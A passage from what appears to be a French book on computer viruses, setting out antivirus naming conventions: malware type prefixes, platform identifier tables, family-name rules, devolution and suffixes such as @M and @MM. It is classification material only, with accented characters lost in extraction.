nom choisi. De noms gographiques bass sur lemplacement de la dcouverte. Il est enn propos quelques rgles gnrales : Tout virus dont le code nexcde pas 100 octets (messages exclus) rejoint la famille Trivial.
109
Les virus relativement petits qui ne font que se reproduire et qui ne contiennent aucune routine particulire sont regroups dans lune des six familles suivantes : SillyC virus non-rsidents, qui infectent seulement les COM ; SillyE virus non-rsidents, qui infectent seulement les EXE ; SillyCE virus non-rsidents, qui infectent COM et EXE ; SillyRC virus rsidents, qui infectent seulement les COM ; SillyRE virus rsidents, qui infectent seulement les EXE ; SillyRCE virus rsidents, qui infectent les COM et les EXE. Les variantes sont ensuite distingues par leur taille. Ces propositions furent souvent ignores dans la forme et de nombreux virus se retrouvrent aussi relis dautres noms gnriques tels que Univ, Tiny, Mini, Minimal, Small ; sans parler des nombreux noms particuliers qui furent affects nombre dentre eux. Les virus systme sans aucune complexit, sils ne font que se reproduire et sils ne contiennent aucune autre routine particulire sont regroups en deux familles : SillyP virus infectant le secteur de partition (MBR) ; SillyB virus infectant le secteur de dmarrage (Boot Sector) Les variantes dans chaque famille sont prcises selon le contenu hexadcimal des 2me et des 3mes octets du secteur infect. Cette proposition na jamais t applique. Les vtrans se souviendront des intituls GenP et GenB que VirusScan utilisait dans les annes 90. Ils concernaient des dtections de virus inconnus (Gen pour gnrique, P pour partition et B pour secteur de boot) sans lien direct avec cette directive. Les virus de recouvrement crits dans un langage volu sont regroups dans une famille unique, appele HLLO. Le langage particulier utilis nentre pas en compte. Les virus compagnons crits dans un langage volu sont regroups dans une famille unique, appele HLLC. Le langage particulier utilis nentrait pas en compte. Cette double proposition semble avoir t partiellement retenue mme si les drives sont frquentes (HLL.ow, HLL.C, Baby).
Nom de groupe
Le nom de groupe sapplique un ensemble important de virus semblables dans une mme famille. Citons comme anciens exemples : AntiCAD, un clone particulier de la famille de Jrusalem, contenant de nombreuses variantes. 1704, un ensemble de plusieurs variantes de virus dans la famille Cascade.
110
Singularit
Un virus peut appartenir une famille particulire de par sa structure, mais un auteur peut ensuite, pour accrotre la difficult, employer une technique de camouflage telle quun moteur polymorphe ou un compacteur (par exemple, PKLite, LZEXE). Si le virus est ensuite capable de se propager en rutilisant de lui-mme ce procd complmentaire, on lui attribue cet index spcial qui le diffrencie de sa variante originale. Si loutil li la mise en uvre du procd se conforme la rgle hirarchique dnie ci-dessus, cest cette appellation complte qui est utilise comme paramtre nal. Citons comme exemple le virus de Pogue. Membre de la famille Gotcha, il utilise le moteur polymorphe MtE.0_90. Son intitul se doit dtre Gotcha.Pogue:MtE.0_90. Si la singularit concerne un outil de compression, on utilise les deux premires lettres de celui-ci. Il est parfois ncessaire dnumrer plusieurs singularits, cest le cas de Civil_War.1234.A:TPE.1_3:MtE.1_00:PK.
Tableau 3.4 Exemple de dnomination complexe dun virus de premire gnration (Civil_War) Nom de famille Nom de groupe Rang de variante majeure Rang de variante mineure Premire singularit 1234 A TPE .1_3 Le code viral est complexifi par lutilisation externe du moteur polymorphique TPE version 1.3 Le code viral est ensuite complexifi une seconde fois par lutilisation externe du moteur polymorphique MtE version 1.00 Pour finir, lintgralit du code est compacte avec PKLite Civil_War Pas de nom de groupe
Seconde singularit
MtE.0_00
Troisime singularit
PK
111
112
Le champ singularit est maintenant pluriel. Il dbute par un caractre spcial. Seuls deux identifiants ne sont pas optionnels : Le nom de famille. Le rang de variante mineure. En tenant compte des lments facultatifs, le format complet dun FSMN se rsume par :
[<Malveillance>://][<Plate-forme>/]<Nom_de_Famille> [.<Nom_de_Groupe>][.<Taille>].<Rang_de_Variante_Mineure>[<Dvolution] [Singularits ]
Malveillance
Tout en minuscule, ce premier chelon de classification dcrit les grandes familles de programmes malveillants. Sans revenir sur la dfinition des deux premiers, les lments retenus sont ce jour : virus. trojan (cheval de Troie). dropper (implanteur). Cest un programme qui installe un ou plusieurs autres lments malveillants. Le nom de famille qui sassocie chacun dentre eux sera gnralement le mme que celui de llment dpos. Lappellation multidropper (pour linstallation dune srie de programmes malveillants distincts) na pas t retenue comme lment de premier chelon. Certains spcialistes font une distinction entre implanteurs et injecteurs. Ces derniers installent leur hte uniquement en mmoire. Trs peu nombreux, ils ne font pas ici lobjet dune entre particulire mais sont inclus parmi avec les premiers. intended (prtendu). Pour tre considr comme un virus, un programme doit tre mme de se rpliquer de manire rcursive. Sil choue dans cette dmarche du fait dun bug quelconque mais si certaines de ses autres routines fonctionnent (activation dune charge finale par exemple) il reste dangereux. Bien quil puisse sapparenter un cheval de Troie, la rgle actuelle veut que ces faux virus entrent dans une famille particulire connue sous langlicisme intended. kit. Ce sont des boites outils destins la cration de malveillances. la diffrence du dropper, gnralement lanc sur la machine attaquer, le kit ninstalle pas le programme. Il ne fait que le crer et se retrouve donc sur la machine dun concepteur. Ces kits sont souvent des gnrateurs de virus. Certains retournent du code compil (fichiers binaires), dautres du code
113
source ou du code interprt. Il est dusage dutiliser un mme nom de famille pour le kit et ses productions. Exemple : kit://Win32/VBSWG.A virus://VBS/VBSWG.A intended://VBS/VBSWG.B virus://VBS/VBSWG.J@MM Il existe souvent plusieurs versions dun mme gnrateur. Les virus qui en sont issus sont gnralement difficilement diffrentiables. Il nest donc pas fait de lien entre les premiers et les seconds. Il y a souvent bien plus de virus que de gnrateurs et le virus de rang X peut avoir t cr par un kit de rang Y. Dans certains cas rares, il est cependant possible de relier sans erreur les virus et leurs gnrateurs. Ceux ci sont alors affects dun rang numrique, il en va de mme pour les virus. Exemple : kit://W97M/VMPCK1.A kit://W97M/VMPCK2.A virus://W97M/VMPCK1.A, virus://W97M/VMPCK1.B, etc. virus://W97M/VMPCK2.A, virus://W97M/VMPCK2.B, etc. On voit ici une exception dans laquelle un caractre numrique est accept au sein dun nom de famille. garbage (dchet). Cette dnomination est rserve des fichiers contenant du code non fonctionnel, compltement endommag ou encore gnr alatoirement aprs un dump mmoire accidentel. Ces fichiers sont gnralement ignors et nentrent pas dans notre classification. Certains dentre eux doivent pourtant tre rfrencs et mme parfois dtects sil sagit : De codes prsents dans diverses collections virales de pauvre qualit que lon rencontre priodiquement sur Internet et au travers de sources dites underground. De fichiers corrompus frquemment envoys aux chercheurs anti-virus. De fichiers corrompus gnrs et diffuss par un virus quelconque. Il est aussi possible de retrouver dans cette famille des dumps mmoire volontaires (trashbin) issus de ltude dun fichier malveillant quelconque par un chercheur. Ces derniers ne sont pas dtects par lanti-virus mais classifi pour un ventuel usage ultrieur.
Plate-forme
Ce champ dfini le systme dexploitation minimal ou le langage ncessaire lexcution du code. Cest un nom court qui se limite quelques caractres lis une abrviation connue (exemple JS, WM, VBS). Un nom long est galement dfini des fins de clarification, principalement lors des changes techniques avec le public ou les mdias. Les noms longs et courts sont identiques lorsquils ne dpassent pas 5 caractres. On vite ainsi les abrviations artificielles telles que JV pour le langage JAVA. Une liste non exhaustive des termes recommands est reprise ci-aprs ; elle est suivie dune seconde liste qui reprend dautres abrviations utilises mais non admises par lensemble de la profession.
114
Des codes malicieux sont parfois lis plus dune plate-forme. Le regroupement de celles-ci seffectue alors par le biais daccolades ; elles sont spares par des virgules ; il ny a pas despace. Il est aussi possible dutiliser dans ce cas la pseudo plate-forme Mul (ou Multi). Le virus que beaucoup connaissent sous le nom de O97M/Tristate.A devrait en fait prendre le nom complet : virus://{W97M,X97M,PP97M}/Tristate.A. Lintitul court O97M (Ofce97Macro) a t cr pour rassembler les codes malicieux ciblant au moins deux applications Microsoft Ofce Project et/ou Visio lis Visual Basic for Applications (VBA) v5.0. Il vite ainsi lutilisation de Mul.
Liste recommande des plates-formes Cette liste volue en permanence, mme si elle nest pas officielle, elle tend tre reconnue par un grand nombre de chercheurs.
Tableau 3.5 Liste recommande pour dfinir les plates-formes pouvant recevoir des virus Forme courte ABAP ACM ActnS Forme longue ABAP AutoCadMacro ActionScript Environnement, remarques, exemples SAP /R3 Advanced Business Application Programming. Exemple : ABAP/Cadabra Macro VBA v5.0 pour AutoCAD r11 et suivants. Exemple : ACM/Star.A Interprteur Macromedia ActionScript (exemple ShockWave Flash). Cet identifiant remplace le triptyque SWF voir tableau suivant) Exemple : ActnS/LFM.926 Macro en AccessBasic AM/AccessiV Interprteur AppleScript. Macro pour AmiPro Exemple : APM/Green_Stripe.A Macro en Visual Basic for Applications (VBA) v5.0 pour Access (Access 97, 2000 et 2002) A97M/Poison Be Operating System Systme dexploitation propritaire de Be Systems. Exemple : BeOS/Kate Rarement utilis : infection des secteurs de dmarrage des disques dur et disquettes (MBR et/ou secteur de BOOT) dans lenvironnement IBM PC et compatible. Exemples : Form, Jumper_B Plates-formes BSD et drives. Unix reste nanmoins le nom de rfrence par dfaut. Exemple : BSD/Block.worm
BeOS
BeOS
Boot
Boot
BSD
BSD
115
Environnement, remarques, exemples Interprteur CorelScript Exemple : CSC/CSV.A Rarement utilis : infection des fichiers DOS au format COM, EXE (MZ) ou SYS. Systme dexploitation MSDOS ou approchant et compatible. Exemples : Cascade, Jerusalem Systme EPOC jusqu version 5 incluse Exemple : EPOC/Alone Interprteur WinHelp. Cette plate-forme nest pas destine recevoir les codes malicieux en script JS ou VBS, encapsuls-HTML et compils en fichiers Windows de type .CHM (compiled HTML help files) Exemple : HLP/Pluma Interprteur Windows INF (sans distinction de versions) Exemple : INF/Xver.ow Systme dexcution (runtime) Java (autonome ou encapsul dans un navigateur). Exemple : Java/Strange_Brew Interprteur Jscript et /ou JavaScript. Lhte nentre pas en jeu dans cette dfinition. Lindicateur rassemble les codes autonomes JS qui ncessitent MS JS sous WSH, les codes JS encapsuls-HTML et ceux compils en fichiers Windows de type .CHM Exemple : JS/Kak@M Plates-formes Linux et assimilables. Unix reste nanmoins le nom de rfrence par dfaut Exemple : LINUX/Califax Interprteur Apple Macintosh HyperCard Exemple : MacHC/Blink Macintosh OS antrieur OS X (versions 6-9) Exemple : MacOS/Autostart Interprteur mIRC Interprteur Microsoft Intermediate Language Exemple : MSIL/Bikini.worm Pseudo plate-forme. Identifiant ddi aux programmes malicieux couvrant plusieurs plates-formes OS/2. Exemple : OS2/Mynameis Macintosh OS X
EPOC HLP
EPOC WinHelpScript
INF Java
INFScript Java
JS
JScript, JavaScript
Linux
Linux
MacHC
Dunod La photocopie non autorise est un dlit
116
Environnement, remarques, exemples Pseudo plate-forme. Rassemble les codes malicieux ciblant au moins 2 applications Microsoft Office, Project et/ou Visio en Visual Basic for Applications (VBA) v5.0 Exemple : O97M/Tristate PalmOS Exemple : PalmOS/Phage Interprteur Perl. Lhte nentre pas en jeu dans cette dfinition : les virus en shell Perl sous Unix(-like), ceux ncessitant Perl sous WSH et ceux encapsuls-HTML Exemple : Perl/Rans Interprteur PHP Exemple : PHP/Rebber Interprteur Pirch Interprteur PostScript Macro en Visual Basic for Applications (VBA) v5.0 pour Project (Project 97, 2000 et 2002) Exemple : P97M/Eikrad Macro en Visual Basic for Applications (VBA) v5.0 pour PowerPoint (PowerPoint97, 2000 et 2002) Exemple : PP97M/Vic Interprteur ddi aux fichiers de base de registres Windows (.REG). Pas de distinction ASCII / Unicode) Exemple : Reg/Zox.ow Interprteur shell Unix(-like). Lhte nentre pas en jeu dans cette dfinition : Linux, Solaris, HP-UX ou autres, avec interprteur csh, ksh, bash ou autre Plate-forme Solaris Symbian OS (EPOC version 6) Exemple : SymbOS/Cabir
PalmOS Perl
PalmOS Perl
PP97M
PowerPoint97Macro
REG
Registry
SH
ShellScript
Solaris
Unix
Indicateur standard (et prfr) pour les codes binaires lis au monde UNIX. Sil est ncessaire de prciser une plate-forme particulire, on utilisera titre exceptionnel lune des trois entres suivantes. Les scripts sont associs lindicateur SH dfini plus haut. Exemple : UNIX/Sorso Interprteur VBS. Lhte nentre pas en jeu dans cette dfinition : VBS sous WSH, encapsul-HTML et ceux compils en fichiers Windows de type .CHM Exemple : VBS/Loveletter.A@MM
VBS
VBScript, VisualBasicScript
117
Environnement, remarques, exemples Macro en Visual Basic for Applications (VBA) v5.0 pour Visio (Visio 5.0, 2000 et 2002) Exemple : V5M/Unstable Macro en WordBasic (WinWord 6.0, Word 95 et Word pour Mac 5) Exemple : WM/CAP Macro en WordBasic (WinWord 2.0) Exemple : W2M/Polite.A Windows 16-bits pour systmes x86 Exemple : W16/RedTeam@MM Windows 32-bits pour systmes x86 (sont exclus Win32s et CE comprennent Windows 9x, ME, NT, 2000, XP) Exemple : W32/Ska@M Macro en Visual Basic for Applications (VBA) v5.0 pour Word (Word 97, 2000 et 2002) Exemple : W97M/Class.A Ancien langage de formules Excel Exemple : XF/Paix Macro en Visual Basic for Applications (VBA) v3.0 pour Excel (Excel pour Windows 5.0 et Excel for Mac 5.x) Exemple : XM/Laroux Macro en Visual Basic for Applications (VBA) v5.0 pour Excel (Excel 97, 2000 et 2002) Exemple : X97M/Sugar
WM
WordMacro
W97M
Word97Macro
XF XM
ExcelFormula ExcelMacro
X97M
Excel97Macro
Liste non admise mais parfois utilise Cette liste rassemble des appellations incorrectes parfois rencontres. Lun des exemples flagrants est le nom HTML qui regroupe un ensemble de fichiers li plusieurs langages (principalement JS et VBS). Notons cependant que la notion de format de fichiers nest pas toujours inapproprie. VBS sapplique un type de fichiers tout en tant lacronyme de linterprteur Visual Basic Script. Des virus de type VBS se retrouvent au sein de fichiers HTML.
Tableau 3.6 Liste non admise pour dfinir certaines plates-formes pouvant recevoir des virus Forme courte ATVX, OCX Forme longue ActiveX Environnement/Remarques Un contrle ActiveX lorsquil nest quun fichier DLL doit tre classifi Win32. Les codes malicieux exploitant des failles de scurit ActiveX doivent tre classifis selon le langage (gnralement de script) qui les supportent. Exemple : AX/Showword, OCX/Exploder
118
Environnement/Remarques Utilis par certains dveloppeurs pour classifier les malveillances du monde Linux ou Unix, il dfinit une structure de fichiers ( rapprocher du concept PE pour Windows). Lidentifiant correct est Unix. Exemple : ELF/Spork.worm Les fichiers HTML peuvent vhiculer des scripts malveillants dorigine diverses. Ce sont ces scripts (gnralement JS ou VBS) qui doivent contribuer au choix de lidentifiant. Exemple : HTML/Debeski Les codes malicieux exploitant des failles de scurit IIS (Microsoft Internet Information Server ) ne fonctionneront que sur des machines ddies. La plupart dentres elles sont en environnement Windows 32, Windows 64 et Net Server (plate-forme MSIL). Cest cet environnement qui dfinit lidentifiant adopter. Exemple : IIS/Backdoor.ACE Java est le seul nom court acceptable pour du code malveillant ncessitant un systme dexcution (runtime) Java. Le choix JV ne peut que provoquer dinutiles confusions dabrviations. Exemple : JV/Shinwow. Quelques vendeurs utilisent ce terme. Il est li au langage Java (MPF : multi-OS hosted platform) dont le nom devrait alors servir didentifiant. Certains dveloppeurs classifient comme DotNet des programmes ncessitant lusage dune version .Net, DotNet ou similaire. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 sils ne sont pas de purs lments .Net. Dans le cas contraire, on utile lidentifiant MSIL. Palm est une marque dpose ; il faut utiliser PalmOS pour dfinir la plate-forme. Exemple : PALM/Fatal Un code malveillant cach au sein dun document PDF nest pas ncessairement un virus PDF. VBS/Peachy utilise les fichiers PDF comme mode de transport, son fonctionnement ncessite la prsence dune version complte dAdobe Acrobat afin dtre mme de dcompacter le script en Visual Basic li au processus de rplication. Il sagit donc dun virus VBS et lidentifiant PDF est donc aujourdhui malvenu. Exemple : PDF.Yourde
HTML
HTML
IIS
IIS
JV
Java
MPF
MultiPlatform
.Net
DotNet
Palm
PalmOS
119
Environnement/Remarques Lidentifiant SWF fut utilis loccasion de lapparition du virus un moment dnomm SWF/LFM.926. Il sagit en fait dun virus multi plates-formes dont llment infectieux est un fichier DOS de type .COM. Du code ActionScript, absent de certains lecteurs SWF est stock dans des fichiers ayant cette extension. Le nom complet du virus est donc virus://{DOS,ActnS}/LFM.926.A que lon peut (abusivement) limiter LFM.926 (pour la composante DOS) et ActnS/LFM.926 pour limplanteur. Un programme utilisant une spcificit lie Windows ME et ne fonctionnant pas sous NT, Win2K, XP doit tre classifi comme Win32. Exemple : WME/Wide-A Certains dveloppeurs classifient WinNT des programmes ncessitant lusage dune version Windows NT ou ultrieure. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 Exemple : WNT/Harmless Certains dveloppeurs classifient comme WinXP des programmes ncessitant lusage dune version Windows XP ou ultrieure. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 Exemple : WinXP.Che Certains dveloppeurs classifient commeWin2K des programmes ncessitant lusage dune version Windows 2000 ou ultrieure. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 Exemple : W2K/Dob Lidentifiant correct est Win16 Exemple : W31.NEHeader Certains programmes malveillants fonctionnent sous Windows 95, 98, 98SE et/ou ME mais ne fonctionnent pas sous NT, Win2K ou XP. Quelques produits classifient toujours ces lments qui utilisent les mcanismes VxD et / ou quelques spcificits lies aux plates-formes Win9x comme Win95. Il a t dcid de les classer en temps que Win32. Exemple : W95/CIH Certains programmes malveillants fonctionnent sous Windows 98, 98SE et/ou ME mais ne fonctionnent pas sous NT, Win2K ou XP. Quelques produits classifient toujours ces lments quelques spcificits lies aux plates-formes Win98/ME comme Win98. Il a t dcid de les classer en temps que Win32. Exemple : W98/Hatred.A
WinME, WME
WindowsME
WNT, WinNT
WindowsNT
WXP, WinXP
WindowsXP
Windows2K, Windows2000
W95, Win95
W98, Win98
Windows98
120
Nom de Famille
lment non optionnel, le nom de famille est le composant cl de la dnomination. Cest celui qui anime le plus les dbats et amne le plus de rclamations. En dehors de lentourage des chercheurs, cest souvent le seul que les mdias et les utilisateurs retiennent. Les rgles mises en 1991 par le CARO ont t amendes. Le projet de rglementation actuel stipule de ne jamais : Employer des noms de compagnie, des noms de marque ou des noms des personnes vivantes. Lutilisation du nom ou du pseudonyme de lauteur prsum du virus est maintenant fortement dconseille : Il fournit lauteur une certaine reconnaissance, principale motivation de nombreux dentre eux. Il risque de vite devenir inconsistant car un mme auteur cre souvent des virus de plusieurs types. Sans tre encourags dans leur utilisation, les prnoms courants sont permis. Les noms lis, de prs ou de loin, au monde de lanti-virus sont particulirement vits. Des noms ou des termes prcis que le concepteur du code souhaiterait voir repris sont souvent dnaturs avant dtre utiliss comme nom de famille. Cette pratique nest pas directement prconise mais savre parfois utile en cas de manque dinspiration. Reprendre un nom de famille existant. Ce nom doit rester unique. Sil a t utilis comme dnomination pour une plate-forme, il ne doit pas ltre sur une seconde, sauf sil existe des similitudes flagrantes ou sil sagit de la mme malveillance sattaquant plusieurs plates-formes. Imaginer un nouveau nom pour un virus appartenant une famille existante. Des auteurs diffrents et des routines dactivation divergentes nentranent pas la cration dune famille. Laffiliation se fait au regard de similitudes de code touchant les principes fondamentaux de la classe de malveillance. Pour un virus, le mcanisme dinfection est donc laspect primordial prendre en compte : cest de par sa capacit de propagation quun code va appartenir, ou non, la famille virale. Employer de noms obscnes ou blessants. Le choix dun nom de famille la vue dun texte crit dans une langue inconnue doit tre pralablement contrl. Certains termes peuvent avoir des connotations religieuses et devenir offensants pour certains groupes partir du moment ou ils sont associs un lment malveillant. Reprendre, sans en vrifier la justesse, le nom du fichier dans lequel est fournit la souche virale. Ce nom peut cependant tre une piste intressante que le chercheur pourra exploiter grce VGREP1.
1. VGREP est une base de donne croise utilise par les chercheurs et mise jour de faon mensuelle. Elle permet une recherche sur la base de mots cls. Chaque lment y est prsent selon les noms de baptmes des principaux outils de dtection.
121
Dutiliser des suites numriques. Pour des raisons dj expliques, cette pratique jusquici simplement dconseille est aujourdhui proscrire. Les noms numriques entrent aussi dans cette catgorie (exemple Eight941). Outre ces interdictions, on sapplique suivre les recommandations suivantes en vitant dutiliser : Le nom propos ou suggr par lauteur. Cette reprise pourrait tre considre comme une sorte de reconnaissance. Face certains virus la propagation explosive, lutilisation de ce nom peut cependant permettre dviter la multiplicit des appellations prises dans la prcipitation. En effet, si la concertation est souvent de mise, elle est parfois rendue difficile lorsquune menace majeure apparat et quil faut y rpondre sans attendre. Cette abondance des noms est alors particulirement dommageable puisquelle intervient un moment ou le public est largement inform par les mdias. Le nom par lequel le programme circule. Beaucoup de mass-mailers se diffusent au travers dun fichier la dnomination constante. Les variantes qui ne manquent pas dapparatre se diffrencient souvent par un nouveau nom. Elles sont parfois plus prolifiques qu lorigine et une appellation malta propos engendre des incomprhensions. Dautres mass-mailers choisissent aussi des noms dune manire plus ou moins alatoires. Ceux-ci peuvent se retrouver, par ailleurs, comme nom lgitime au titre dune entreprise ou dun particulier et engendrer de fausses inquitudes. Des noms de jours lis des dates dactivation. Des reprises de textes qui peuvent facilement changer dune variante lautre. Des noms gographiques bass sur lemplacement de la dcouverte. Si plusieurs noms sont dj connus et acceptables, on utilise de prfrence celui qui a t donn par le chercheur qui a, le premier, isol la souche.
Nom de Groupe
Tout comme par le pass, le nom de groupe sapplique un ensemble important de virus semblables dans une mme famille. Cette identifiant fut largement utilise dans le monde des anciens virus DOS. Il est aujourdhui peu employ et tend tre ignor pour les menaces actuelles.
Taille
Ce champ sintitulait rang de variante majeure dans la prcdente rglementation. Le nom actuel officialise le fait quil nest utilis que pour les virus fonctionnant par ajout. Il indique la taille du code joint.
122
Cette information nest de fait utile que dans ce cas prcis et ne sapplique quaux virus binaires. Une exception existe cependant dans le cas de certains virus multipartites. Un virus tel que W97M/Beast.41472.A comporte une indication de taille. Cette taille est celle du virus Windows associ. Le nom complet tant : virus://{W32, W97M}/Beast.41472.A. Sans cette indication, la confusion peut facilement sinstaurer lapparition de nouvelles variantes et il ne serait plus possible de relier une macro particulire son chier binaire associ.
Dvolution
Ce sont certains macro-virus qui ont amen la communaut anti-virale dfinir la notion de dvolution. Elle dfinit un processus qui, sous certaines conditions spontanes, cre une variante diffrente qui se rpliquera ensuite de manire rcursive
123
sans tre mme de revenir sa forme initiale en labsence dune intervention extrieure quelconque. On dit alors que le nouvel lment cr a une forme dvolue ou est une dvolution du virus original. Lidentifiant est numrique, il est directement accol au rang de variante mineure. Citons comme exemple WM/Rapi.A. Selon la manire dont il se duplique, le virus installe parfois un nombre infrieur de macros. Dans ce cas il reste infectieux rcursivement mais ne retrouvera plus sa conguration dorigine au l des nouvelles infections. Cette premire forme dvolue prend le nom de WM/Rapi.A1. Celle ci est viable mais peut par la suite perdre dautres macros tout en restant virale. La seconde forme prend alors le nom de WM/Rapi.A2. W97M/Eight941.A est un exemple diffrent de dvolution. Le virus peut muter indiffremment vers les tats A1 ou A2 sans jamais rintgrer ltat initial. La notion de non retour vers ltat initial est fondamentale. Le virus WM/ Johnny.A fut un moment considr comme un virus capable de dvolution. Les chercheurs anti-virus lon ensuite retir de cette catgorie lorsquils se sont rendu compte quil pouvait reprendre, de lui-mme, son tat initial sous certaines circonstances. Des virus de ce type peuvent nanmoins tre capables de retrouver leur forme parentale initiale sils se reproduisent dans un environnement dj infect par leur gniteur. Ils seront cependant considrs comme de vritables dvolus sils en sont incapables depuis un environnement sain (ce qui se produit naturellement lorsquun lment infectieux dvolu est transfr dune machine infecte une machine non infecte). En thorie, la forme originale de ces virus devrait tre affecte dun rang de dvolution 0. Il devrait en tre de mme pour les virus inaptes la dvolution. Par commodit, lindicateur de dvolution nest prsent quen cas de ncessit pour des virus qui peuvent prendre des formes diverses dans leur environnement naturel. Notons enn que certains produits utilisent cet indicateur mauvais escient pour reprer des sous-ensembles viraux ayant fait lobjet dune radication partielle.
Dunod La photocopie non autorise est un dlit
Singularit
Bien que la rgle ci-dessus dfinie soit suffisante pour un rfrencement non ambigu, certaines fonctionnalits associes sont plus significatives que dautres. Ver les annes 1990, elles taient souvent lies des techniques dencapsulage polymorphique ou de compression. Ddi cet effet, lindicateur de singularit na jamais t srieusement utilis par le pass. On lui prfre aujourdhui une nouvelle forme plus complte et plus adapte aux techniques virales du moment. Sa nouvelle formulation est :
[[:<localisation>][#<compacteur>][@m|mm][!<spcifique-vendeur>]]
La classication ntant pas acheve en mars 2005, ces singularits ne sont pas toutes en vigueur. Certaines risquent mme de disparatre.
124
1) :<Localisation> Lavnement dune des premires variantes du virus Concept est lorigine de ce champ. Elle prit le nom de virus://WM/Concept.B:Fr et indiquait ainsi la ncessit dune plate-forme franaise de Microsoft Word pour voir se propager le virus.
La version premire du virus est aussi dpendante du langage ; il fut cependant dcid de ne lindiquer que pour les plates-formes diffrentes de langlais. Son format dbute par deux points ; il est suivi de deux lettres reprsentatives du pays. La premire, de prfrence en majuscule et la seconde en minuscule. Aucun standard particulier nest utilis pour dnir cette liste qui nest dailleurs pas aussi ne dans ses distinctions que ne lest Microsoft Ofce lui-mme (France, France (Canada), Portugal, Portugal (Brsil), etc.). En cas de ncessit, plusieurs dpendances de langage peuvent se retrouver listes entre accolades. Dautres plates-formes tels que le VBA sont dpendantes des jeux de caractres installs (MBCS Multi-Bytes Character Set). Ils peuvent affecter le bon fonctionnement dun virus et faire lobjet dune indication. Les virus connus pour fonctionner sur plusieurs plates-formes MBCS alors quils ne fonctionnent pas en labsence de celles-ci se sont vus attribuer la singularit :Tw (pour Taiwan). On lui prfre aujourdhui lidentiant :Uni.
2) #<compacteur>[-hack] Certains programmes malveillants connus sont parfois modifis extrieurement. Il leur est rajout une ou plusieurs couches complmentaires de camouflage par le biais de moteurs polymorphes (MTE, TPE) ou de compacteurs. Sil sagit dun virus qui est ensuite capable de se propager en rutilisant de lui-mme ce procd complmentaire, on se propose de lui attribuer une singularit spciale qualifiant ce fait.
Aujourdhui, seuls quelques anciens virus sont affects de cette singularit (exemple : Questo.2906#MTE, Civil_War.2223#TPE, Terrax.2874#SDFE, Teacher.3197#DSME). Elle concerne des moteurs polymorphiques ddis au monde viral. Nick Fitzgerald propose dtendre cette notion aux malveillances utilisant des compacteurs du commerce dans leur version standard ou pirate (exemple #UPX). Le sufxe -hack serait rajout dans la mesure o le produit (runtime) aurait subi une modication de la part de lauteur du virus.
3) @M|MM Avec limportance du courrier lectronique, les notions dauto expdition (selfmailer), et dexpdition en masse (mass-mailer) sont devenues des proccupations prpondrantes pour les utilisateurs de linformatique.
Il existe aujourdhui deux identiants lis aux virus mettant en uvre des techniques dauto expdition. Ils concernent des virus capables denvoyer des copies deux mme depuis une machine infecte vers dautres cibles par le biais du courrier lectronique.
125
La diffrence entre ces deux identiants est lie au nombre de mails mis en jeu. Un virus avec lidentifiant @M est un expditeur lent. Il met de lui-mme un courrier chaque fois que sa victime en expdie un. Il se peut aussi quun ou deux mails soient envoys chaque dmarrage de la machine. Le suffixe @MM sapplique une expdition rapide et massive. Elle ne se produit parfois quune seule fois ; gnralement (mais pas ncessairement) dans linstant qui suit la premire excution du code malicieux. La diffrence entre lent et rapide ne fait pas lobjet dune dnition nette et prcise. Elle nest que le reet de la capacit potentielle relle qua le virus se propager. Si le processus de propagation nest pas oprationnel, lidentiant ne doit pas tre indiqu. Il nest pas possible de rencontrer un nom tel que : intended://VBS/FooBar.A@MM. Laffectation de ces singularits sappliqua dabord aux macro-virus. Sous limpulsion de Vesselin Bontchev, le CARO adopta tout dabord lutilisation du sufxe @MM. En janvier 2000, lors dchanges sur lun de nos forums privs, je tentai den prciser lutilisation: Le sufxe @MM est ddi aux virus/vers qui possdent un processus <OPERATIONNEL> de propagation par messagerie. Outre linfection via la messagerie, ces macro-virus ont gnralement un processus dinfection standard DOC<->DOT. 7 cas sont rfrencs : 1. Les deux modes dinfections sont fonctionnels. On utilisera le suffixe @MM (exemple W97M/Melissa.A@MM). 2. Le mode DOC<->DOT ne fonctionne pas ou nexiste pas. La propagation se fait uniquement par mail. On utilisera le suffixe @MM (exemple W97M/ Melissa.T@MM). 3. Le mode messagerie ne fonctionne pas. La propagation se fait uniquement de fichier fichier (DOC<->DOT). Pas de suffixe (exemple W97M/Mck.H). 4. Aucun processus dinfection nest oprationnel. Il y a copie vers le NORMAL.DOT mais linfection rcursive choue. Cest la cration dun auteur de virus, celui-ci est un intended, sans suffixe. 5. Aucun processus dinfection nest oprationnel. Pas de copie vers le NORMAL.DOT, pas de rcursivit. Cest la cration dun auteur de virus, celui-ci est un intended, sans suffixe. 6. Aucun processus dinfection nest oprationnel. Il y a copie vers le NORMAL.DOT mais linfection rcursive choue. Cest une corruption ou un objet gnr automatiquement, celui-ci nest rien du tout ! 7. Aucun processus dinfection nest oprationnel. Pas de copie vers le NORMAL.DOT, pas de rcursivit. Cest une corruption ou un objet gnr automatiquement, celui-ci nest rien du tout !
126
Aujourdhui, un consensus gnral a vu le jour. Tout virus (et non plus seulement les macro-virus) qui cible de multiples boites lettres se voit affect du sufxe @MM. Citons titre dexemple: W32/PrettyPark@MM, VBS/Loveletter.A@MM. Mme sils sont aussi trs rpandus, les avis furent longtemps partags quant lattribution du sufxe pour les virus tels que W32/Ska ou JS/Kak. Jai tout dabord souhait quils se voient attribuer ce mme sufxe. Cherchant un compromis avec mes collgues, je proposais en juillet 2000 la cration du sufxe @M. Pour ces virus, la propagation est moins explosive. Certains dentre eux rent pourtant plusieurs fois le tour de la plante ; ce ne fut quune question de temps. Qui plus est, pour Kak et Ska, leur prdominance perdura plusieurs annes. Continuant ma croisade pour une standardisation et une rigueur de dnomination, jai poursuivi mon travail pour que se gnralise ce nouveau sufxe. Quils aient une propagation lente ou rapide et massive, les mass-mailers se dnissent maintenant de la manire suivante : Le suffixe @M est ddi aux virus/vers qui possdent un processus <OPERATIONNEL> de propagation par messagerie et qui cible une seule boite lettres chacune de leur activation. Le suffixe @MM est ddi aux virus/vers qui possdent un processus <OPERATIONNEL> de propagation par messagerie et qui cible plusieurs boites lettres chacune de leur activation. Outre linfection via la messagerie, ces virus/vers peuvent galement avoir un processus dinfection standard DOC <-> DOT ou plus gnralement FICHIER <-> FICHIER. Parmi les 7 cas rfrencs au paragraphe prcdent, on retiendra pour les 2 premiers : Les 2 modes dinfections sont fonctionnels. On utilisera le suffixe adquat (exemple W97M/Melissa.A@MM, W95/Babylonia@M, 